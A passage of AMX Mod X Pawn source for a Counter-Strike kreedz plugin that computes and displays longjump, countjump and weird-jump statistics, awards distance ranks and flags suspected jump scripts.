						strafe_stat_time[id][0] = jumptime[id];
						strafe_stat_time[id][strafes[id]] = lasttime[id];
	
						for(jj = 1;jj <= strafes[id]; jj++)
						{
							time_ = ((strafe_stat_time[id][jj] - strafe_stat_time[id][jj-1])*100) / (Fulltime);
							if ((strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]) > 0)
							{
								sync_ = (strafe_stat_sync[id][jj][0] * 100)/(strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]); //using like a buffer		
							}				
							else
							{
								sync_ = 0;
							}
							strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "^t%2d^t%4.3f^t%4.3f^t%3.1f%%^t%3d%%^n", jj, strafe_stat_speed[id][jj][0], strafe_stat_speed[id][jj][1], time_, sync_);
	
							goodSyncTemp += strafe_stat_sync[id][jj][0];
							badSyncTemp += strafe_stat_sync[id][jj][1];
						}
						if (jumptype[id] == TYPE_HJ)
						{
							strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "^t^tHJ");
						}
						//if (BlockDist > 210.0 && BlockDist < get_pcvar_float(kz_max_lj))
						//	strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "Block %3.3f", BlockDist);
						//strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "		WeirdJump");
					}

					//Standart Sync
					if( goodSyncTemp > 0 )
						sync_ = (goodSyncTemp*100/(goodSyncTemp+badSyncTemp));
					else
						sync_ = INFO_ZERO;

					//weird jump
					if(fDistance > get_pcvar_float(kz_min_lj) //TODO mb another cvar
					&& jumptype[id] == TYPE_WJ
					&& !(fDistance > get_pcvar_float(kz_max_lj) + 23.0) )
					{
						if( !(possible_lj_script[id][0] || possible_lj_script[id][1] || fallDown[id] || weapSpeed[id] != 250.0 || pev(id, pev_fuser2) == 0.0))
						{
							check_maintop(id, floatround((fDistance*1000000), floatround_floor), floatround((fMaxAirSpeed[id]*1000000), floatround_floor), floatround((fMaxGroundSpeed[id]*1000000), floatround_floor), strafes[id], sync_, TYPE_WJ);
						}
						
						ljStatsRed = get_pcvar_num(kz_ljstats_red);
						ljStatsGreen = get_pcvar_num(kz_ljstats_green);
						ljStatsBlue = get_pcvar_num(kz_ljstats_blue);
						ljs_beam = get_pcvar_num(kz_ljs_beam);
						static i;
	
						if( gHasLjStats[id] && bljbeam[id] )
						{
							DrawBeam(id, ljs_beam, 1);
						}

						static strdist[128];
						num_to_word(floatround(fDistance, floatround_floor), strdist, 127);
						
						for( i = INFO_ONE; i < 33; i++ )
						{
							if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i] )
							{
								copy(strMessBuf,strLen,strMess);

								if ( fallDown[id] || weapSpeed[id] != 250.0 || pev(id, pev_fuser2) == 0.0)
								{
									set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, (vBeamLastTime[id]*0.1), 0.1, 0.1, 3);
								}
								else
								{
									set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, -1.0, 0.70, 0, 0.0, (vBeamLastTime[id]*0.1), 0.1, 0.1, 3);
								}

								show_hudmessage(i, "WJ Distance: %f^nMaxSpeed: %f (%.3f)^nPreStrafe: %f^nStrafes: %d^nSync: %d%%^n^n^nWeirdJump'd", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fMaxGroundSpeed[id], strafes[id], sync_ );
								client_print(i, print_console, "WJ Distance: %f MaxSpeed: %f (%.3f) PreStrafe: %f Strafes: %d Sync: %d", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fMaxGroundSpeed[id], strafes[id], sync_ );
								
								if ( StrafeStat[i] && strLen != 0 )
								{
									if ( fallDown[id] || weapSpeed[id] != 250.0)
									{
										set_hudmessage(255, 0, 109, 0.70, 0.35, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 4);
									}
									else
									{
										set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, 0.70, 0.35, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 4);
									}
									show_hudmessage(i,"%s",strMessBuf);
									static strMessHalf[40];
									//if (jumptype[id] == TYPE_HJ || (BlockDist > 210.0 && BlockDist < get_pcvar_float(kz_max_lj)))
									//	strafes[id] += 1;
									for(jj=INFO_ONE; (jj <= strafes[id]) && (jj < NSTRAFES);jj++)
									{
										strtok(strMessBuf,strMessHalf,40,strMessBuf,40*NSTRAFES,'^n');
										replace(strMessHalf,40,"^n","");
										client_print(i, print_console, "%s", strMessHalf);	
									}
								}
	
								if( possible_lj_script[id][0] || possible_lj_script[id][1] )
								{
									if( possible_lj_script[id][0] && possible_lj_script[id][1] )
										client_print(i, print_center, "No ljtop access (possible lj script)");
									else
										client_print(i, print_center, "No ljtop access (possible %s script)", (possible_lj_script[id][0])?"prestrafe":"strafe");
								}
							
								if( get_pcvar_num(kz_lj_sounds) == 2 && gHasColorChat[i] && !(fallDown[id]) && weapSpeed[id] == 250.0 && pev(id, pev_fuser2) > 0.0)
									client_cmd(i, "speak ^"vox/%s uniform(e30) it south(e15)^"", strdist);
								
								if( i != id && (ljs_beam == 1 || ljs_beam == 2) && bljbeam[i] )
								{
									DrawSpecBeam(i);
								}
							}
						}
						//still weird jump
						if (!(fallDown[id]) && weapSpeed[id] == 250.0 && pev(id, pev_fuser2) > 0.0)
						{
							if( !(possible_lj_script[id][0] || possible_lj_script[id][1] ))
							{
								static Float:cj_dif, Float:max_cj, Float:leet_cj, Float:pro_cj, Float:good_cj, Float:god_cj, ljtop;
								cj_dif = get_pcvar_float(kz_cj_dif);
								cj_dif += 5;
								max_cj = get_pcvar_float(kz_max_lj) + 23; 

							/*	leet_cj = get_pcvar_float(kz_leet_lj) + cj_dif; 
								pro_cj = get_pcvar_float(kz_pro_lj) + cj_dif; 
								good_cj = get_pcvar_float(kz_good_lj) + cj_dif; 
							*/

								leet_cj = 265.0; 
								pro_cj = 260.0; 
								good_cj = 255.0; 
								god_cj = 270.0; 
							
								ljtop = get_pcvar_num(kz_ljs_tops);

								if( ljtop == 1 || ljtop == 3 ) 
								{
									if( fDistance < max_cj
									&& !(fDistance < god_cj)
									&& !(0 > god_cj))
									{
										PrintChatMess(id, 3, DIST_GOD, TYPE_WJ);
									}
									else if( fDistance < max_cj
									&& !(fDistance < leet_cj)
									&& !(0 > leet_cj))
									{
										PrintChatMess(id, get_pcvar_num(kz_leet_lj_clr), DIST_LEET, TYPE_WJ);
									}
									else if( fDistance < max_cj
									&& !(fDistance < pro_cj)
									&& !(0 > pro_cj))
									{
										PrintChatMess(id, get_pcvar_num(kz_pro_lj_clr), DIST_PRO, TYPE_WJ);
									}						
									else if( fDistance < max_cj
									&& !(fDistance < good_cj)
									&& !(0 > good_cj))
									{
										PrintChatMess(id, get_pcvar_num(kz_good_lj_clr), DIST_GOOD, TYPE_WJ);
									}
								}
							}
						}
						//jumptype[id] = TYPE_NONE;
					} //long jump
					else if( fDistance > get_pcvar_float(kz_min_lj)
					&& fMaxGroundSpeed[id] < maxPreSpeedWeapon
					&& cjumped[id] == false
					&& !(fDistance > get_pcvar_float(kz_max_lj)) )
					{
						if( !(possible_lj_script[id][0] || possible_lj_script[id][1] || fallDown[id] || weapSpeed[id] != 250.0))
						{
							check_maintop(id, floatround((fDistance*1000000), floatround_floor), floatround((fMaxAirSpeed[id]*1000000), floatround_floor), floatround((fMaxGroundSpeed[id]*1000000), floatround_floor), strafes[id], sync_, TYPE_LJ);
						}
						
						ljStatsRed = get_pcvar_num(kz_ljstats_red);
						ljStatsGreen = get_pcvar_num(kz_ljstats_green);
						ljStatsBlue = get_pcvar_num(kz_ljstats_blue);
						ljs_beam = get_pcvar_num(kz_ljs_beam);
						static i;
	
						if( gHasLjStats[id] && bljbeam[id] )
						{
							DrawBeam(id, ljs_beam, 1);
						}

						static strdist[128];
						num_to_word(floatround(fDistance, floatround_floor), strdist, 127);
						
						for( i = INFO_ONE; i < 33; i++ )
						{
							if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i] )
							{
								copy(strMessBuf,strLen,strMess);
	
								if ( fallDown[id] || weapSpeed[id] != 250.0)
								{
									set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 3);
								}
								else
								{
									set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, -1.0, 0.70, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 3);
								}
	
								show_hudmessage(i, "Distance: %f^nMaxSpeed: %f (%.3f)^nPreStrafe: %f^nStrafes: %d^nSync: %d%%^n^n^nLongJump'd", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fMaxGroundSpeed[id], strafes[id], sync_ );
								client_print(i, print_console, "Distance: %f MaxSpeed: %f (%.3f) PreStrafe: %f Strafes: %d Sync: %d", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fMaxGroundSpeed[id], strafes[id], sync_ );
								
								if ( StrafeStat[i] && strLen != 0 )
								{
									if ( fallDown[id] || weapSpeed[id] != 250.0)
									{
										set_hudmessage(255, 0, 109, 0.70, 0.35, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 4);
									}
									else
									{
										set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, 0.70, 0.35, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 4);
									}
									show_hudmessage(i,"%s",strMessBuf);
									static strMessHalf[40];
									//if (jumptype[id] == TYPE_HJ || (BlockDist > 210.0 && BlockDist < get_pcvar_float(kz_max_lj)))
									//	strafes[id] += 1;
									for(jj=INFO_ONE; (jj <= strafes[id]) && (jj < NSTRAFES);jj++)
									{
										strtok(strMessBuf,strMessHalf,40,strMessBuf,40*NSTRAFES,'^n');
										replace(strMessHalf,40,"^n","");
										client_print(i, print_console, "%s", strMessHalf);	
									}
								}

								if( possible_lj_script[id][0] || possible_lj_script[id][1] )
								{
									if( possible_lj_script[id][0] && possible_lj_script[id][1] )
										client_print(i, print_center, "No ljtop access (possible lj script)");
									else
										client_print(i, print_center, "No ljtop access (possible %s script)", (possible_lj_script[id][0])?"prestrafe":"strafe");
								}
								
								if( get_pcvar_num(kz_lj_sounds) == 2 && gHasColorChat[i] && !(fallDown[id]) && weapSpeed[id] == 250.0)
									client_cmd(i, "speak ^"vox/%s uniform(e30) it south(e15)^"", strdist);
								
								if( i != id && (ljs_beam == 1 || ljs_beam == 2) && bljbeam[i] )
								{
									DrawSpecBeam(i);
								}
							}
						}
	
						if (!(fallDown[id]) && weapSpeed[id] == 250.0)
						{
							if( !(possible_lj_script[id][0] || possible_lj_script[id][1] ))
							{
								static Float:max_lj, Float:leet_lj, Float:pro_lj, Float:good_lj, Float:god_lj, ljtop;
								max_lj = get_pcvar_float(kz_max_lj);
/*								leet_lj = get_pcvar_float(kz_leet_lj);
								pro_lj = get_pcvar_float(kz_pro_lj);
								good_lj = get_pcvar_float(kz_good_lj);
*/
								leet_lj = 250.0;
								pro_lj = 245.0;
								good_lj = 240.0;
								god_lj = 255.0;

								ljtop = get_pcvar_num(kz_ljs_tops);
	
								if( ljtop == 1 || ljtop == 3 ) 
								{
									if( fDistance < max_lj
									&& !(fDistance < god_lj)
									&& !(0 > god_lj))
									{
										PrintChatMess(id, 3, DIST_GOD, TYPE_LJ);
									}
									else if( fDistance < max_lj
									&& !(fDistance < leet_lj)
									&& !(0 > leet_lj))
									{
										PrintChatMess(id, get_pcvar_num(kz_leet_lj_clr), DIST_LEET, TYPE_LJ);
									}
									else if( fDistance < max_lj
									&& !(fDistance < pro_lj)
									&& !(0 > pro_lj))
									{
										PrintChatMess(id, get_pcvar_num(kz_pro_lj_clr), DIST_PRO, TYPE_LJ);
									}						
									else if( fDistance < max_lj
									&& !(fDistance < good_lj)
									&& !(0 > good_lj))
									{
										PrintChatMess(id, get_pcvar_num(kz_good_lj_clr), DIST_GOOD, TYPE_LJ);
									}
								}
							}
						}
						//jumptype[id] = TYPE_NONE;
					} //CountJump
					else if( fDistance > get_pcvar_float(kz_min_lj)
					&& fMaxGroundSpeed[id] < maxBhopPreSpeedWeap       //TODO: is it right?
					&& cjumped[id] == true
					&& !(fDistance > (get_pcvar_float(kz_max_lj) + 18)) ) 
					{
						if( !(possible_lj_script[id][0] || possible_lj_script[id][1] || fallDown[id] || weapSpeed[id] != 250.0))
						{
							check_maintop(id, floatround((fDistance*1000000), floatround_floor), floatround((fMaxAirSpeed[id]*1000000), floatround_floor), floatround((fMaxGroundSpeed[id]*1000000), floatround_floor), strafes[id], sync_, TYPE_CJ);
						}
	
						ljStatsRed = get_pcvar_num(kz_ljstats_red);
						ljStatsGreen = get_pcvar_num(kz_ljstats_green);
						ljStatsBlue = get_pcvar_num(kz_ljstats_blue);
						ljs_beam = get_pcvar_num(kz_ljs_beam);
						static i;
	
						if( gHasLjStats[id] && bljbeam[id])
						{
							i = DrawBeam(id, ljs_beam, 2);
						}
		
						static strdist[128];
						num_to_word(floatround(fDistance, floatround_floor), strdist, 127);
	
						for( i = INFO_ONE; i < 33; i++ )
						{
							if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i] )
							{
								copy(strMessBuf,strLen,strMess);

								if ( fallDown[id] || weapSpeed[id] != 250.0)
								{
									set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 3);
								}
								else
								{
									set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, -1.0, 0.70, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 3);
								}

								show_hudmessage(i, "CJ Distance: %f^nMaxSpeed: %f (%.3f)^nPreStrafe: (%.3f) %f^nStrafes: %d^nSync: %d%%^n^n^nCountJump'd", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fCjPreSpeed[id],fMaxGroundSpeed[id], strafes[id], sync_ );
								client_print(i, print_console, "CJ Distance: %f MaxSpeed: %f (%.3f) PreStrafe: (%.3f) %f Strafes: %d Sync: %d", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fCjPreSpeed[id], fMaxGroundSpeed[id], strafes[id], sync_ );
								
								if ( StrafeStat[i] && strLen != 0 )
								{
									if ( fallDown[id] || weapSpeed[id] != 250.0)
									{
										set_hudmessage(255, 0, 109, 0.70, 0.35, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 4);
									}
									else
									{
										set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, 0.70, 0.35, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 4);
									}
									show_hudmessage(i,"%s",strMessBuf);
									static strMessHalf[40];
									for(jj=INFO_ONE; (jj <= strafes[id]) && (jj < NSTRAFES);jj++)
									{
										strtok(strMessBuf,strMessHalf,40,strMessBuf,40*NSTRAFES,'^n');
										replace(strMessHalf,40,"^n","");
										client_print(i, print_console, "%s", strMessHalf);	
									}
								}	
		
								if( possible_lj_script[id][0] || possible_lj_script[id][1] )
								{
									if( possible_lj_script[id][0] && possible_lj_script[id][1] )
										client_print(i, print_center, "No ljtop access (possible cj script)");
									else
										client_print(i, print_center, "No ljtop access (possible %s script)", (possible_lj_script[id][0])?"prestrafe":"strafe");
								}
								
								if( get_pcvar_num(kz_lj_sounds) == 2 && gHasColorChat[i] && !(fallDown[id]) && weapSpeed[id] == 250.0)
									client_cmd(i, "speak ^"vox/%s uniform(e30) it south(e15)^"", strdist);
								
								if( i != id && (ljs_beam == 1 || ljs_beam == 2) && bljbeam[i])
								{
									DrawSpecBeam(i);
								}
							}
						}
						
						if (!(fallDown[id]) && weapSpeed[id] == 250.0)
						{
							if( !(possible_lj_script[id][0] || possible_lj_script[id][1] ))
							{
								static Float:cj_dif, Float:max_cj, Float:leet_cj, Float:pro_cj, Float:good_cj, Float:god_cj, ljtop;
								cj_dif = get_pcvar_float(kz_cj_dif);
								max_cj = get_pcvar_float(kz_max_lj) + 18; 

/*								leet_cj = get_pcvar_float(kz_leet_lj) + cj_dif; 
								pro_cj = get_pcvar_float(kz_pro_lj) + cj_dif; 
								good_cj = get_pcvar_float(kz_good_lj) + cj_dif; */

								leet_cj = 260.0; 
								pro_cj = 255.0; 
								good_cj = 250.0; 
								god_cj = 265.0; 

								ljtop = get_pcvar_num(kz_ljs_tops);
	
								if( ljtop == 1 || ljtop == 3 )
								{
									if( fDistance < max_cj
									&& !(fDistance < god_cj)
									&& !(cj_dif > god_cj) )
									{
										PrintChatMess(id, 3, DIST_GOD, TYPE_CJ);
									}					
									else if( fDistance < max_cj
									&& !(fDistance < leet_cj)
									&& !(cj_dif > leet_cj) )
									{
										PrintChatMess(id, get_pcvar_num(kz_leet_cj_clr), DIST_LEET, TYPE_CJ);
									}					
									else if( fDistance < max_cj
									&& !(fDistance < pro_cj)
									&& !(cj_dif > pro_cj) )
									{
										PrintChatMess(id, get_pcvar_num(kz_pro_cj_clr), DIST_PRO, TYPE_CJ);
									}					
									else if( fDistance < max_cj
									&& !(fDistance < good_cj)
									&& !(cj_dif > good_cj) )
									{
										PrintChatMess(id, get_pcvar_num(kz_good_cj_clr), DIST_GOOD, TYPE_CJ);
									}
								}
							}
						}
					}
					//jumptype[id] = TYPE_NONE;
				}
				if (testBhop[id] == false)
				{
					fMaxAirSpeed[id] = 0.0;
					fMaxGroundSpeed[id] = 250.0;
				}
				cjumped[id] = false;

				jumptype[id] = TYPE_NONE;

				//gInAir[id] = false; //why??
			}
			else if( flags&FL_ONGROUND
			&& gInAir[id] == false )
			{
/*
				//TODO: Vashe strannaia zashita; very strange protection, why we need it
				pev(id, pev_velocity, vVelocity);
				vVelocity[2]-=vVelocity[2];

				if( vector_length(vVelocity) > maxPreSpeedWeapon
				&& doubleducked[id] == false)
				{
					set_task(0.5,"gocheck", id);				
				}
*/
				//gInAir[id] = false; //why?
				fMaxAirSpeed[id] = 0.0;
				fMaxGroundSpeed[id] = 250.0; 
				cjumped[id] = false;
			}
		} 

		if (gInAir[id] || isBhop[id] || doubleducked[id])
		{
			static i, j;
			j = 0;
			for( i = INFO_ZERO; i < 127; i++ )
			{
				if( i == 126 || (vBeamPos[id][i][0] == 0
				&& vBeamPos[id][i][1] == 0
				&& vBeamPos[id][i][2] == 0
				&& vBeamTime[id][i] == 0) )
				{
					pev(id, pev_origin, vBeamPos[id][i]);
					//client_print(id, print_console,"%d	%f	%f",i, vBeamPos[id][i][0],vBeamPos[id][i][1]);
					if( i == 0 )
						vBeamTime[id][i] = 15.0;
					else
						vBeamTime[id][i] = (get_gametime()-beam_jump_off_time[id])*10+15;
					
					if( doubleducked[id] == true || induck[id] == true )
						vBeamPosStatus[id][i] = -1.0;
					else if( is_in_duck(id) )
						vBeamPosStatus[id][i] = 1.0;
					else
						vBeamPosStatus[id][i] = 0.0;

					vBeamLastTime[id] = vBeamTime[id][i];

					j=i;
					
					{
						ljhel[id][0] += vBeamPos[id][i][0];
						ljhel[id][1] += vBeamPos[id][i][1];
					}
					if (i < 13 && i > 2 && (i%3)==0 && jumptype[id] != TYPE_HJ && jumptype[id] != TYPE_WJ)
					{
						pev(id, pev_origin, vOrigin);
						vOrigin[2] = vJumpedAt[id][2] - 38.0;
						if (HJdetect(id, vOrigin))
						      jumptype[id] = TYPE_HJ;
					}
					i=127;
				}
			}

			if ( j > 3 && (j%4)==0 && (gInAir[id] == true || isBhop[id] == true) && bljhelp[id])
			{
				message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
				write_byte (0);
				write_coord(floatround(vJumpedAt[id][0]));
				write_coord(floatround(vJumpedAt[id][1]));
				//write_coord(floatround(vOldOrigin2[id]-34));
				write_coord(floatround(vJumpedAt[id][2]-34));
				write_coord(floatround((220/j)*((ljhel[id][0]/(j+1))-vJumpedAt[id][0])+vJumpedAt[id][0]));
				write_coord(floatround((220/j)*((ljhel[id][1]/(j+1))-vJumpedAt[id][1])+vJumpedAt[id][1]));
				//write_coord(floatround(vOldOrigin2[id]-34));
				write_coord(floatround(vJumpedAt[id][2]-34));
				write_short(gBeam);
				write_byte(0);			
				write_byte(0);
				if (j < 70)
				{
					write_byte(2);
				}
				else
				{
					write_byte(17);
				}
				write_byte(20);
				write_byte(0);
				write_byte(random_num(32, 255));
				write_byte(random_num(32, 255));
				write_byte(random_num(32, 255));
				write_byte(200);
				write_byte(0);
				message_end();
			}
		}

		if( flags&FL_ONGROUND )
		{
			if (!pev( id, pev_solid ))
			{
				static ClassName[32];
				pev(pev(id, pev_groundentity), pev_classname, ClassName, 32);
	
				if( equal(ClassName, "func_train")
					|| equal(ClassName, "func_conveyor") 
					|| equal(ClassName, "trigger_push") || equal(ClassName, "trigger_gravity"))
				{
					gocheck(id);
					set_task(0.4,"gocheck", id);
					gocheckbhop(id);
					set_task(0.4,"gocheckbhop", id);
				}
				else if(equal(ClassName, "func_door") || equal(ClassName, "func_door_rotating") )
				{
					gocheck(id);
					set_task(0.4,"gocheck", id);			
				}
			}

		/*	if (jumptype[id] == TYPE_WJ && OnGround[id] && !(gInAir[id])) //2nd frame
			{
				set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, 0.5, 0.1, 0.1, 3);
				static i;
				for( i = INFO_ONE; i < 33; i++ )
				{
					if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
					{
						show_hudmessage(id,"Too late for weird jump");
						//client_print(id, print_console, "You pressed jump too early");
					}
				}
				gocheck(id);
				set_task(0.2,"gocheck", id);
				//jumptype[id] = TYPE_NONE;
			}		*/
	/*		
			//TODO: hates this detection of CJ, need to redone it with better detection type
			if( OnGround[id] == false && !(jumptype[id] == TYPE_WJ) )
			{
				//pev(id, pev_origin, vOrigin); //why we need it?
				if( doubleducked[id] == false
				&& !(cjumped[id] == true
				&& buttons&IN_JUMP
				&& !(oldbuttons&IN_JUMP)) )
				{
					set_task(0.4,"gocheck", id);
				}
				else if( doubleducked[id] == true
				&& vOrigin[2] != vDuckedAt[id][2] )
				{
					set_task(0.5,"gocheck", id);
				}
				OnGround[id] = true;
			}
			else if (OnGround[id] == false && jumptype[id] == TYPE_WJ )
			{
				if( !(buttons&IN_JUMP && !(oldbuttons&IN_JUMP)) )
				OnGround[id] = true;
			}			
*/
			//TODO: hates this detection of CJ, need to redone it with better detection type
			if( OnGround[id] == false )
			{
				//pev(id, pev_origin, vOrigin); //why we need it?
				if( doubleducked[id] == false
				&& !(cjumped[id] == true
				&& buttons&IN_JUMP
				&& !(oldbuttons&IN_JUMP)) 
				&& jumptype[id] != TYPE_WJ) //mb better jumptype[id] == TYPE_NONE
				{
					set_task(0.4,"gocheck", id);
				//	client_print(id, print_console,"popali v 1");//1111
				}
				else if( doubleducked[id] == true
				&& vOrigin[2] != vDuckedAt[id][2] )
				{
					set_task(0.5,"gocheck", id);
					//client_print(id, print_console,"popali v 2");//1111
				}

				if (jumptype[id] == TYPE_WJ && !(cjumped[id]))
				{
					pev(id, pev_origin, vFallAt[id]);
					//client_print(id, print_console,"da etoje WJ");//1111
				}
				OnGround[id] = true;
			}
		}

		if( buttons&IN_DUCK
		&& flags&FL_ONGROUND
		&& gInAir[id] == false
		&& isBhop[id] == false
		&& (fSpeed < maxPreSpeedWeapon && jumptype[id] != TYPE_WJ ) )
		{
			if( induck[id] == false )
			{
				cducked[id] = true;
				induck[id] = true;
				set_task(0.1,"testcjstart", id);
				
				pev(id, pev_origin, vOrigin);
				vDuckedAt[id][0] = vOrigin[0];
				vDuckedAt[id][1] = vOrigin[1];
				vDuckedAt[id][2] = vOrigin[2];
				beam_jump_off_time[id] = get_gametime();
				fCjPreSpeed[id] = fSpeed;
				
				static i;
				for( i = INFO_ZERO; i < 127; i++ )
				{
					vBeamPos[id][i][0] = 0.0;
					vBeamPos[id][i][1] = 0.0;
					vBeamPos[id][i][2] = 0.0;
					vBeamTime[id][i] = 0.0;
				}
				vBeamLastTime[id] = 0.0;
			}
		}
		else if( oldbuttons&IN_DUCK )
		{
			induck[id] = false;
			if( cducked[id] == true && !is_in_duck(id) )
			{
				set_task(0.3,"ddend", id);
				doubleducked[id] = true;
				cducked[id] = false;
			}
		}

		if( !(flags&FL_ONGROUND) )
		{
			OnGround[id] = false;
			//client_print(id, print_console,"WJ Prestrafe %f",vVelocity[2]);
			pev(id, pev_velocity, vVelocity);
			if (vVelocity[2] == -4.0 || 
				vVelocity[2] == -4.4 || 
				vVelocity[2] == -4.8 || 
				vVelocity[2] == -3.599999 || 
				vVelocity[2] == -3.2) // -4.  -12.  -20.  -28.  -36.  -44.  -52.  -60.  -68.  -76.  -84.  -92.  -100.  -108.  -116.
			{
				if(!(cjumped[id]))
					jumptype[id] = TYPE_WJ;				
			}
			//if (weapSpeed[id] > 250)
			//{//11111
			//	client_print(id, print_chat,"vot i vzleteli %f",vVelocity[2]);
			//}
		}
	}
	return FMRES_IGNORED;
}

public fwdPlayerPostThink(id)
{
	if( is_user_alive(id) && get_pcvar_num(kz_ljs_enabled) )
	{
		static buttonsNew, flags, i;
		buttonsNew = pev(id, pev_button);
		flags = pev(id, pev_flags);

		static Float:ori[3];
		
		pev(id, pev_origin, ori);
		pev(id, pev_velocity, vVelocity);

		vVelocity[2] = 0.0;
		fSpeed = vector_length(vVelocity);

		if( (flags&FL_ONGROUND)
		&& (gInAir[id] == true || OnGround[id] == false || isBhop[id])) //dont need @OnGround[id] == false@ here i think
		{
			fwdPlayerPreThink(id);
		}

		//maxBhopPreSpeedWeap = weapSpeed[id]*1.2;

		//Linear loss of speed can be calcilated like speed = (WeaponSpeed*1.2)*0.8
		if ( isBhop[id] && (gSpeed > maxBhopPreSpeedWeap) && (fSpeed < gSpeed - 30.0) && gInAir[id] ) ///w00t that gInAir here rulezz
		{
			fMaxAirSpeed[id] = fSpeed;
			fMaxGroundBhopSpeed[id] += (fSpeed - gSpeed);//(gSpeed - fMaxGroundSpeed[id]); //is it right?
			fMaxGroundSpeed[id] = fSpeed;
			//client_print(id, print_console, "gSpeed %f fSpeed %f",gSpeed, fSpeed);
			set_hudmessage(255,255, 200, -1.0, 0.70, 0, 0.0, 0.7, 0.1, 0.1, 3);
			for( i = INFO_ONE; i < 33; i++ )
			{
				if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
				{
					show_hudmessage(i, "Prestrafe: %f (%.3f)^nYour Maxspeed was too high %.3f^nMaxspeed have to be under %.3f", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id], gSpeed, maxBhopPreSpeedWeap);
					//client_print(i, print_console, "Prestrafe: %f (%.3f)^nYour Maxspeed was too high %.3f^nMaxspeed have to be under %.3f", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id], gSpeed, maxBhopPreSpeedWeap);
				}
			}
		}
		
		pev(id, pev_angles, angle);
		if( old_angle1[id] > angle[1] )
		{
			turning_left[id] = false;
			turning_right[id] = true;
		}
		else if( old_angle1[id] < angle[1] )
		{
			turning_left[id] = true;
			turning_right[id] = false;
		}
		else
		{
			turning_left[id] = false;
			turning_right[id] = false;
		}
	
	/*	if( strafing_aw[id] == false
		&& (buttonsNew&IN_MOVELEFT)
		&& (turning_left[id] == true || turning_right[id] == true )
		&& !(buttonsNew&IN_MOVERIGHT || buttonsNew&IN_BACK) )
		{
			strafing_aw[id] = true;
			strafing_sd[id] = false;
			if(strafes[id] < NSTRAFES)
				strafe_stat_time[id][strafes[id]] = get_gametime();
			strafes[id] += INFO_ONE;
		}
		else if( strafing_sd[id] == false
		&& (buttonsNew&IN_MOVERIGHT)
		&& (turning_left[id] == true || turning_right[id] == true )
		&& !(buttonsNew&IN_MOVELEFT || buttonsNew&IN_FORWARD) )
		{
			strafing_aw[id] = false;
			strafing_sd[id] = true;
			if(strafes[id] < NSTRAFES)
				strafe_stat_time[id][strafes[id]] = get_gametime();
			strafes[id] += INFO_ONE;
		}
		*/

		if( !(strafecounter_oldbuttons[id]&IN_MOVELEFT) && buttonsNew&IN_MOVELEFT
		&& !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_BACK) && !(buttonsNew&IN_FORWARD)
		&& (turning_left[id] || turning_right[id]) )
		{
			if(strafes[id] < NSTRAFES)
				strafe_stat_time[id][strafes[id]] = get_gametime();
			strafes[id] += INFO_ONE;
		}
		else if( !(strafecounter_oldbuttons[id]&IN_MOVERIGHT) && buttonsNew&IN_MOVERIGHT
		&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_BACK) && !(buttonsNew&IN_FORWARD)
		&& (turning_left[id] || turning_right[id]) )
		{
			if(strafes[id] < NSTRAFES)
				strafe_stat_time[id][strafes[id]] = get_gametime();
			strafes[id] += INFO_ONE;
		}
		else if( !(strafecounter_oldbuttons[id]&IN_BACK) && buttonsNew&IN_BACK
		&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_FORWARD)
		&& (turning_left[id] || turning_right[id]) )
		{
			if(strafes[id] < NSTRAFES)
				strafe_stat_time[id][strafes[id]] = get_gametime();
			strafes[id] += INFO_ONE;
		}
		else if( !(strafecounter_oldbuttons[id]&IN_FORWARD) && buttonsNew&IN_FORWARD
		&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_BACK)
		&& (turning_left[id] || turning_right[id]) )
		{
			if(strafes[id] < NSTRAFES)
				strafe_stat_time[id][strafes[id]] = get_gametime();
			strafes[id] += INFO_ONE;
		}

		//add ginAir check here
		if( buttonsNew&IN_MOVERIGHT
